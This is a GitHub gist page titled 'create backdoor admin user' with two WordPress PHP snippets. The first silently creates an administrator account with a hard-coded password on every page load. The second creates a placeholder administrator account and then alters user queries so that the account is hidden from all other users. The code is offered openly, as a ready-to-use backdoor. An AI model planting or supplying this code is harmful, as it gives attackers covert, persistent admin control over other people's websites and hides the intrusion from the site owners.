Last active
April 13, 2017 14:54
-
-
Save geeac/9d6123f90da4d99659a8d3a8587ff047 to your computer and use it in GitHub Desktop.
create backdoor admin user
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', 'my_backdoor'); | |
function my_backdoor() { | |
require('wp-includes/registration.php'); | |
$user_id = wp_create_user('brad', 'pa55w0rd'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Here’s a more elaborate and fine tuned version: | |
//ADD ACCOUNT | |
function admin_account(){ | |
$user = 'YOUR_USERNAME'; | |
$pass = 'YOUR_PASSWORD'; | |
$email = 'YOUR_EMAIL'; | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
} | |
add_action('init','admin_account'); | |
//HIDE YOUR ACCOUNT | |
add_action('pre_user_query','yoursite_pre_user_query'); | |
function yoursite_pre_user_query($user_search) { | |
global $current_user; | |
$username = $current_user->user_login; | |
$user = ‘YOUR_USERNAME’; | |
if ($username != $user) { | |
global $wpdb; | |
$user_search->query_where = str_replace('WHERE 1=1', | |
"WHERE 1=1 AND {$wpdb->users}.user_login != $user",$user_search->query_where); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment